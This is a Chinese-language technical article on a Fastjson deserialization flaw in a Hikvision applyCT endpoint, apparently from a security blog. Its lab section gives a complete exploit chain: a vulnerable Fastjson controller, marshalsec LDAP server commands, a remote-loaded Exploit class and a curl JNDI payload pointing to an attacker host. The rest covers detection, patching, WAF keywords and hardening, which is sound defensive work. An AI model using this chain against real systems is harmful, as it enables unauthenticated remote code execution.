Fastjson反序列化漏洞深度解析:从JNDI注入到供应链安全防御
1. 项目概述:一次由组件依赖引发的“物理级”安全危机
最近安全圈里讨论热度最高的,恐怕就是海康威视applyCT组件爆出的那个CVSS 10.0满分漏洞了。作为一个常年和安防设备、视频监控平台打交道的从业者,看到CVE-2025-34067这个编号时,心里咯噔一下。这不仅仅是一个普通的远程代码执行漏洞,它的特殊性在于,攻击者无需任何用户名密码,就能直接对一个部署在关键物理安防场景中的核心管理平台“发号施令”。想象一下,攻击者可以像管理员一样,远程操控成千上万的摄像头、篡改录像、甚至关闭整个区域的安防警报——这已经从单纯的网络入侵,演变成了对物理世界安全的直接威胁。
这个漏洞的根源,指向了一个我们Java开发者再熟悉不过的“老朋友”:Fastjson。一个用于解析JSON数据的开源库,因为其默认开启的autoType特性,在过去几年里已经引发了多起严重的安全事件。而这一次,它出现在了海康威视的applyCT(即HikCentral)组件中。applyCT是什么?你可以把它理解为一个安防界的“中枢大脑”,它负责集中管理、调度和分析来自海康威视各类摄像头、门禁、报警器的数据,广泛应用于智慧城市、大型园区、金融机构等对安全要求极高的场所。当这样一个核心组件的某个对外接口(/bic/ssoService/v1/applyCT)在反序列化用户传入的JSON数据时,使用了存在漏洞的Fastjson版本,潘多拉魔盒就被打开了。
对于安全研究人员、渗透测试工程师和负责企业安防系统运维的IT人员来说,深入理解这个漏洞的原理、利用方式以及防御手段,是当前一项非常紧迫且必要的任务。这不仅是为了应对CVE-2025-34067本身,更是为了建立起一套针对此类“供应链漏洞”的深度防御思维。下面,我将从一个实战分析的角度,带你层层剥开这个漏洞的细节,并分享在真实环境中如何排查、验证以及从根本上加固系统。
2. 漏洞核心原理深度拆解:Fastjson反序列化为何屡成“重灾区”
要理解CVE-2025-34067,我们必须先吃透Fastjson反序列化漏洞的“祖传”机理。这不是一个全新的漏洞类型,但其危害性在特定上下文中被无限放大。
2.1 Fastjson的AutoType机制:便利与风险的孪生兄弟
Fastjson作为一个高性能的JSON处理器,其一大特色是autoType功能。简单来说,当它从JSON字符串反序列化成Java对象时,可以通过@type这个字段来指定要实例化的具体类。比如,{"@type":"com.example.User", "name":"test"},Fastjson就会尝试去加载com.example.User这个类,并把name属性赋值进去。这为处理多态对象提供了极大的便利。
然而,便利的背后是巨大的安全风险。关键在于,Fastjson在默认情况下会按照@type指定的类名去加载类。如果攻击者能够控制这个类名,并将其指向一个存在于目标Classpath中的、具有危险方法的类,那么反序列化过程就不再是单纯的数据填充,而可能变成代码执行的触发器。
Fastjson团队意识到了这个问题,并引入了黑白名单机制来限制可反序列化的类。但安全攻防是一场持续的猫鼠游戏。历史上,多个Fastjson版本的黑名单都曾被绕过,攻击者通过精心构造的类名和利用JDK或第三方库中的“无害”类作为跳板,最终调用到如JdbcRowSetImpl这样的危险类,从而实施攻击。
2.2 漏洞利用链:JNDI注入与LDAP的“里应外合”
CVE-2025-34067的利用链,是Fastjson漏洞一个非常经典的利用模式:Fastjson反序列化 -> 触发JdbcRowSetImpl -> JNDI lookup -> LDAP协议加载远程恶意类。
我们来拆解一下攻击者发送的那个恶意Payload:
{ "a": { "@type": "java.lang.Class", "val": "com.sun.rowset.JdbcRowSetImpl" }, "b": { "@type": "com.sun.rowset.JdbcRowSetImpl", "dataSourceName": "ldap://xxx.xxx.xxx.xxx/Basic/TomcatEcho", "autoCommit": true }, "hfe4zyyzldp": "=" }第一步:引导类加载。Payload中的
"a"对象,其@type是java.lang.Class,val是com.sun.rowset.JdbcRowSetImpl。这一步的作用是让Fastjson在反序列化过程中,提前将JdbcRowSetImpl这个类加载到内存中,为后续利用做准备。这是一种常见的绕过技巧,确保目标类可用。第二步:实例化危险类并设置陷阱。
"b"对象才是真正的攻击载荷。它指定@type为com.sun.rowset.JdbcRowSetImpl。当Fastjson反序列化到这个对象时,会调用其setter方法为属性赋值。这里关键的一行是:"dataSourceName": "ldap://攻击者IP/Basic/TomcatEcho"。第三步:触发JNDI注入。
JdbcRowSetImpl类有一个setDataSourceName方法。当这个方法被调用后,如果后续触发了setAutoCommit(true)(Payload中正是如此),该类内部的connect()方法会被调用。在connect()方法中,会执行一段关键代码:InitialContext.lookup(dataSourceName)。第四步:LDAP服务器响应攻击。这里的
dataSourceName不是一个普通的数据库连接字符串,而是一个LDAP URL(ldap://)。InitialContext.lookup()会向攻击者控制的LDAP服务器(xxx.xxx.xxx.xxx)发起请求,查询Basic/TomcatEcho这个条目。第五步:远程类加载与代码执行。攻击者搭建的恶意LDAP服务器,可以在其返回的条目中,指向另一个HTTP服务器上的一个恶意Java类文件(.class)。如果目标Java环境版本较低(通常指JDK 8u191、7u201、6u211之前),且未设置
com.sun.jndi.ldap.object.trustURLCodebase为false,那么Java的JNDI实现就会自动从该HTTP地址下载并实例化这个恶意类。这个恶意类的静态代码块或构造函数中,包含了攻击者想要执行的任意命令,例如反弹Shell、下载木马、执行系统命令等。
关键点提示:即使在高版本JDK中,JNDI注入利用LDAP加载远程类的方式被默认限制,攻击者依然可能通过利用目标本地Classpath中已有的、具有危险行为的类(即“利用本地Gadget链”)来达到同样目的。这使得Fastjson漏洞的利用方式更加灵活和难以防御。
2.3 ApplyCT组件的“助攻”:未授权访问接口
原理清楚了,那么攻击如何触达呢?这就是applyCT组件自身的问题了。根据公开信息,漏洞接口路径为/bic/ssoService/v1/applyCT。从路径命名看,它可能隶属于单点登录(SSO)或应用控制相关服务。
最致命的一点是:这个接口在处理请求前,没有进行有效的身份认证和授权校验。这意味着任何能够通过网络访问到该服务端口的攻击者,都可以直接向其发送HTTP请求,而不需要提供任何形式的令牌、Cookie或证书。将高危的Fastjson反序列化操作暴露在一个未授权的接口上,无疑是给攻击者敞开了大门。
结合安防管理平台常部署于内网、但有时因运维疏忽或业务需要将Web管理界面映射到公网的情况,这个漏洞的潜在攻击面非常大。攻击者通过互联网扫描暴露了该端口的IP,即可长驱直入。
3. 漏洞环境搭建与复现分析
出于安全研究和教育的目的,在受控环境中复现漏洞,是理解其危害和验证修复方案的最佳途径。请注意,以下所有操作必须在你自己拥有完全控制权的隔离实验环境(如虚拟机)中进行,严禁对任何非授权目标进行测试。
3.1 实验环境准备
为了模拟漏洞场景,我们需要搭建一个简化的、包含漏洞版本Fastjson的Java Web应用。
基础环境:
- 操作系统:Ubuntu 20.04 / CentOS 7 或 Windows 10/11。
- JDK版本:为了完整演示经典的LDAP利用链,建议使用JDK 8u191以下版本,例如 JDK 8u181。这是复现成功的关键。
- 构建工具:Maven 3.6+。
创建漏洞模拟应用: 我们可以创建一个简单的Spring Boot Web应用,并故意引入存在漏洞的Fastjson版本。
<!-- pom.xml 依赖片段 --> <dependencies> <dependency> <groupId>org.springframework.boot</groupId> <artifactId>spring-boot-starter-web</artifactId> </dependency> <!-- 引入存在漏洞的Fastjson版本,例如1.2.24 --> <dependency> <groupId>com.alibaba</groupId> <artifactId>fastjson</artifactId> <version>1.2.24</version> </dependency> </dependencies>编写漏洞接口: 创建一个模拟
applyCT接口的Controller。这里的关键是使用JSON.parseObject()方法处理用户传入的body,并且没有关闭autoType。import com.alibaba.fastjson.JSON; import org.springframework.web.bind.annotation.*; @RestController @RequestMapping("/bic/ssoService/v1") public class VulnerableController { @PostMapping("/applyCT") public String applyCT(@RequestBody String jsonData) { // 危险操作:直接使用存在漏洞的Fastjson解析不可信的JSON数据 Object obj = JSON.parseObject(jsonData); // ... 后续业务逻辑(在真实漏洞中,可能不会执行到这里,因为反序列化时已触发RCE) return "Processing done"; } }
3.2 攻击工具链搭建
复现此漏洞需要两个关键的攻击端组件:一个恶意LDAP服务器和一个用于托管恶意Java类的HTTP服务器。
使用 marshalsec 启动LDAP服务:
marshalsec是一个常用的JNDI注入利用工具。我们需要先编译它。git clone https://github.com/mbechler/marshalsec.git cd marshalsec mvn clean package -DskipTests编译成功后,在
target目录下会生成marshalsec-0.0.3-SNAPSHOT-all.jar。使用它启动一个恶意的LDAP服务,并指定后续HTTP服务地址和恶意类名。java -cp target/marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://你的HTTP服务器IP:端口/#Exploit" 1389这条命令会在本地的1389端口启动一个LDAP服务器。当有客户端(即存在漏洞的applyCT服务)连接并查询时,它会返回一个指向
http://你的HTTP服务器IP:端口/Exploit.class的引用。准备并托管恶意Java类: 创建一个名为
Exploit.java的恶意类,其静态代码块中包含要执行的命令。例如,执行一个计算器命令(Linux下为gnome-calculator或xcalc,Windows下为calc.exe)作为证明。// Exploit.java public class Exploit { static { try { // 根据不同操作系统执行命令 String os = System.getProperty("os.name").toLowerCase(); Process p; if (os.contains("win")) { p = Runtime.getRuntime().exec("calc.exe"); } else if (os.contains("mac")) { p = Runtime.getRuntime().exec("open -a Calculator"); } else { p = Runtime.getRuntime().exec("gnome-calculator"); } p.waitFor(); } catch (Exception e) { e.printStackTrace(); } } }注意:在实际攻击中,这里可能会是反弹Shell、下载木马等恶意命令,此处仅用于教学演示。编译这个类:
javac Exploit.java,会生成Exploit.class文件。 然后,在恶意类所在目录,使用Python快速启动一个HTTP服务器,供LDAP服务器引用:python3 -m http.server 8888
3.3 发起攻击与结果验证
现在,所有组件都已就绪:
- 漏洞应用:运行在
http://localhost:8080 - 恶意LDAP服务器:运行在
攻击机IP:1389 - 恶意HTTP服务器:运行在
攻击机IP:8888
使用curl或Burp Suite等工具,向漏洞接口发送构造好的Payload。将下面命令中的ldap://xxx.xxx.xxx.xxx:1389/Exploit替换成你的LDAP服务器地址。
curl -X POST http://localhost:8080/bic/ssoService/v1/applyCT \ -H "Content-Type: application/json" \ -d '{ "a":{ "@type":"java.lang.Class", "val":"com.sun.rowset.JdbcRowSetImpl" }, "b":{ "@type":"com.sun.rowset.JdbcRowSetImpl", "dataSourceName":"ldap://你的攻击机IP:1389/Exploit", "autoCommit":true }, "hfe4zyyzldp":"=" }'如果环境配置正确(尤其是JDK版本符合要求),你会看到漏洞应用所在的服务器上弹出了计算器程序。这直观地证明了未授权远程代码执行已经成功。
复现心得与坑点:
- JDK版本是成败关键:高版本JDK(>=8u191)默认禁用了从远程Codebase加载类,上述LDAP利用方式会失败。此时需要寻找利用本地Classpath中已有类的“二次反序列化”Gadget链,这类利用构造更为复杂。
- 网络连通性:确保漏洞服务器能访问到你的攻击机(LDAP和HTTP服务)。在虚拟机环境中,注意网络模式(NAT/桥接)的设置。
- 防火墙:临时关闭漏洞服务器和攻击机上的防火墙,避免网络连接被阻断。
- 依赖版本:确保模拟应用使用的Fastjson版本是存在漏洞的(如1.2.24, 1.2.47等),不同版本的绕过Payload可能略有不同。
4. 影响范围与真实威胁场景推演
CVE-2025-34067被评为CVSS 4.0标准下的满分10.0,这绝非危言耸听。我们可以从技术影响和业务影响两个维度来评估其严重性。
4.1 技术影响:一条直达核心的通道
从技术视角看,这个漏洞提供了“三位一体”的完美攻击条件:
- 未授权访问:绕过所有认证关卡,直接面对核心逻辑。
- 远程代码执行:获得在目标服务器上执行任意命令的最高权限,等同于系统沦陷。
- 高权限上下文:applyCT作为安防管理平台,通常以高权限(如root或SYSTEM)的系统服务运行。攻击者获取的即是此高权限shell。
这意味着攻击者可以在受影响的服务器上:
- 植入持久化后门:添加SSH密钥、创建隐藏账户、安装Rootkit或Webshell。
- 进行内网横向移动:以该服务器为跳板,利用其内网信任关系,扫描并攻击网络中的其他设备(如数据库、文件服务器、其他安防设备)。
- 窃取敏感数据:访问applyCT平台数据库,获取摄像头布局图、用户信息、视频录像索引、门禁日志等核心安防数据。
- 破坏系统完整性:删除或加密系统文件,导致平台服务瘫痪。
4.2 业务影响:从数字世界到物理世界的安全崩塌
这才是CVE-2025-34067最令人担忧的部分。海康威视的设备和管理平台守护着无数真实的物理空间安全。
场景一:关键基础设施监控失效。假设一个大型水厂的监控中心部署了存在漏洞的HikCentral平台。攻击者利用漏洞入侵后,可以:
- 篡改视频流:将实时画面定格在“一切正常”的画面,而实际现场可能已发生泄漏或入侵,导致监控人员完全不知情。
- 删除告警录像:在发生安全事件后,删除相关的录像记录,毁灭证据。
- 操控云台摄像头:远程转动摄像头,使其避开关键区域,为物理入侵创造盲区。
场景二:商业机密与隐私泄露。在大型零售店、研发中心或办公楼,攻击者可以:
- 实时窥视:调用任意摄像头的实时流,进行商业间谍活动或侵犯个人隐私。
- 批量下载历史录像:窃取长期积累的监控数据,分析人员流动、商业动线等敏感信息。
场景三:城市安防系统被挟持。在智慧城市项目中,海康平台可能管理着交通路口、广场、车站的摄像头。攻击者可能:
- 制造公共混乱:同时关闭一大片区域的摄像头,为违法犯罪活动提供掩护。
- 干扰应急响应:在突发事件时,使应急指挥中心无法调取关键现场画面。
这种将网络漏洞直接转化为物理安全风险的能力,使得CVE-2025-34067的威胁等级达到了前所未有的高度。攻击者不再仅仅是窃取数据,而是获得了干扰现实世界秩序的能力。
5. 漏洞排查与应急响应实战指南
如果你的组织使用了海康威视的applyCT或HikCentral平台,立即行动是唯一的选择。以下是按优先级排序的应急响应步骤。
5.1 第一步:快速风险确认与隔离
- 资产梳理:立即盘点网络中所有部署了海康威视HikCentral或applyCT组件的服务器。注意其IP地址、主机名和部署位置。
- 网络访问控制:
- 立即策略:在防火墙上,对上述服务器的
/bic/ssoService/v1/applyCT接口路径(或整个管理端口,如80/443/8000等)实施严格的入站访问控制。原则上,只允许运维堡垒机或特定管理终端的IP访问。如果业务允许,直接阻断从互联网到该端口的所有访问。 - 检查暴露面:使用Shodan、Fofa、ZoomEye等网络空间测绘引擎,以“Hikvision”、“HikCentral”等关键词搜索,确认你的公网IP是否意外暴露了相关服务。
- 立即策略:在防火墙上,对上述服务器的
- 日志审计:紧急检查应用服务器、Web服务器(如Nginx/Apache)以及网络设备(防火墙、WAF)的访问日志,搜索对
/bic/ssoService/v1/applyCT路径的POST请求。特别关注来自异常IP地址、在漏洞公开时间点前后的大量请求。
5.2 第二步:漏洞存在性验证(安全方式)
在隔离环境后,需要验证系统是否确实存在漏洞。切勿直接在生产环境进行攻击测试!
版本信息收集:
- 登录到applyCT服务器,查找Fastjson的JAR包。常见路径如:
/usr/local/tomcat/webapps/应用名/WEB-INF/lib/fastjson-*.jar。 - 使用命令查看版本:
java -cp fastjson-1.2.xx.jar com.alibaba.fastjson.JSON(部分版本会输出版本信息),或直接解压JAR查看META-INF/MANIFEST.MF文件。 - 确认Fastjson版本是否为已知受影响版本(例如1.2.80及之前的多个版本)。海康官方补丁应会升级到一个安全版本(如1.2.83或更高)。
- 登录到applyCT服务器,查找Fastjson的JAR包。常见路径如:
无害化探测: 可以尝试发送一个不包含恶意代码、但能触发特定响应的Payload,来判断是否存在Fastjson反序列化点。例如,发送一个包含不存在类的
@type的请求,观察返回的错误信息是否包含Fastjson特有的类加载错误。curl -X POST http://目标地址/bic/ssoService/v1/applyCT -H "Content-Type: application/json" -d '{"@type":"java.lang.AutoCloseable"}'如果返回错误信息中包含
autoType is not support或类似Fastjson的报错,则强烈表明该接口使用了Fastjson且可能开启着autoType,风险极高。
5.3 第三步:应用官方补丁与安全加固
这是治本之策。
获取并应用补丁:立即联系海康威视技术支持或关注其官方安全公告,获取针对CVE-2025-34067的官方补丁。补丁通常会采取以下一种或多种措施:
- 升级Fastjson库:将组件中的Fastjson升级到已修复漏洞的版本(建议1.2.83及以上)。
- 关闭autoType:在代码中全局设置
ParserConfig.getGlobalInstance().setAutoTypeSupport(false);。这是最根本的加固方式。 - 添加安全黑名单:使用
ParserConfig.getGlobalInstance().addDeny()方法,将已知的危险类(如com.sun.rowset.JdbcRowSetImpl、org.apache.tomcat.dbcp.dbcp2.BasicDataSource等)加入黑名单。 - 修复接口认证:为
/bic/ssoService/v1/applyCT接口添加强制的身份认证和权限校验。
依赖组件全面排查:一个applyCT应用可能依赖多个子模块或第三方库。使用
mvn dependency:tree(Maven项目)或类似的依赖分析工具,全面检查整个项目中所有对Fastjson的间接依赖,确保无一遗漏地升级或排除。WAF/IPS规则临时防护:在应用补丁的空窗期,可以在Web应用防火墙(WAF)或入侵防御系统(IPS)上部署临时规则,拦截对
/bic/ssoService/v1/applyCT路径的POST请求,或者检测请求体中是否包含@type、JdbcRowSetImpl、dataSourceName等关键攻击特征。但这只是缓兵之计,不能替代打补丁。
5.4 第四步:入侵痕迹排查与后处理
如果怀疑系统已被入侵,需进行深度排查:
- 系统进程与网络连接:使用
ps auxf、netstat -antp等命令检查是否有未知进程、异常外连(特别是到陌生IP的LDAP/HTTP连接)。 - 文件系统变化:检查Web目录(如
webapps下)是否有新增的、可疑的.jsp、.war文件(Webshell)。检查/tmp、/dev/shm等临时目录是否有可疑脚本。使用find命令结合文件修改时间(-mtime)进行筛查。 - 计划任务与启动项:检查
crontab -l、/etc/rc.local、/etc/init.d/等位置,看是否有攻击者添加的持久化任务。 - 日志清理痕迹:检查系统日志(
/var/log/)、Tomcat日志(catalina.out、localhost_access_log)是否有大量缺失或被清空的异常情况。
如果发现确凿的入侵证据,最安全的做法是:立即下线受影响主机,保存完整镜像用于取证,然后从干净的备份中进行恢复,并在恢复后立即应用所有安全补丁。
6. 深度防御:从源头避免“下一个Fastjson”
CVE-2025-34067给我们敲响了警钟:供应链安全至关重要。一个被广泛使用的开源组件漏洞,足以撼动无数企业的安全防线。以下是一些长期的、根本性的防御建议:
6.1 安全开发规范(SDL)落地
- 禁用不安全的反序列化:在项目规范中明确要求,禁止使用具有已知安全风险的序列化/反序列化组件(如Fastjson的默认配置、Java原生序列化处理不可信数据)。对于JSON解析,优先考虑使用更安全的库,如Jackson或Gson,并确保正确配置。
- 输入验证与白名单:对所有外部输入进行严格的验证和过滤。对于类似
@type这样的功能字段,如果业务非必需,应直接拒绝;如果必需,必须实现严格的白名单机制,只允许反序列化预先定义好的、安全的类。 - 最小权限原则:运行Java应用的服务,应使用专用的、低权限的系统账户,而非root。这可以在即使发生RCE时,限制攻击者能造成的破坏范围。
- 依赖组件安全管理:
- 软件物料清单(SBOM):建立和维护所有项目的SBOM,清晰掌握每一个直接和间接依赖。
- 自动化漏洞扫描:在CI/CD流水线中集成依赖漏洞扫描工具(如OWASP Dependency-Check、Trivy、Snyk),对每次构建进行扫描,阻断含有高危漏洞的组件上线。
- 定期更新策略:制定第三方库的定期评审和更新计划,及时修复已知漏洞。
6.2 网络与运行时防护
- 严格的网络分段:将安防管理平台、视频存储服务器等关键系统部署在独立的网络区域,与办公网、互联网进行严格隔离。通过防火墙策略,仅开放最小必要的通信端口。
- 出站连接控制:在主机或网络防火墙上,严格限制服务器发起的出站连接。特别是要阻止内部服务器随意向外部IP发起LDAP、RMI、HTTP等协议连接,这可以阻断大部分JNDI注入攻击的回连。
- 应用运行时保护(RASP):考虑部署RASP解决方案。RASP像疫苗一样注入到应用中,能在运行时监控和拦截危险行为,例如检测到
Runtime.exec()、ProcessBuilder的调用,或异常的JNDI查找请求,即使漏洞被触发,也能在最后一步进行阻断。 - 升级JDK版本:将生产环境的JDK升级到最新长期支持(LTS)版本。高版本JDK(如8u191+)默认限制了JNDI从远程地址加载类,极大地增加了此类漏洞的利用门槛。
6.3 建立有效的监控与响应体系
- 异常行为监控:建立针对服务器的基线监控,包括异常的进程创建、网络外连(尤其是到非常用端口的连接)、敏感目录的文件创建等。使用SIEM或安全分析平台进行集中告警。
- 专项漏洞预警与响应流程:订阅权威的安全漏洞公告(如CNVD、CNNVD、NVD),并建立针对供应链关键组件(如Fastjson、Log4j2、Spring Framework)的专项应急响应流程。确保在漏洞爆发时,能快速定位受影响资产、评估风险、并协调修复。
CVE-2025-34067是一次深刻的教训。它告诉我们,在数字化与物理世界深度融合的今天,一个软件组件的漏洞,其破坏力可以穿透虚拟的比特世界,直接作用于现实的钢铁水泥之中。作为防御者,我们必须以更系统、更纵深的思想来构建我们的安全体系,从代码开发、供应链管理到网络架构和运行时监控,每一个环节都不能松懈。修复这个漏洞是当前必须完成的任务,但更重要的是,通过这次事件,审视并加固我们整个安全防御的链条。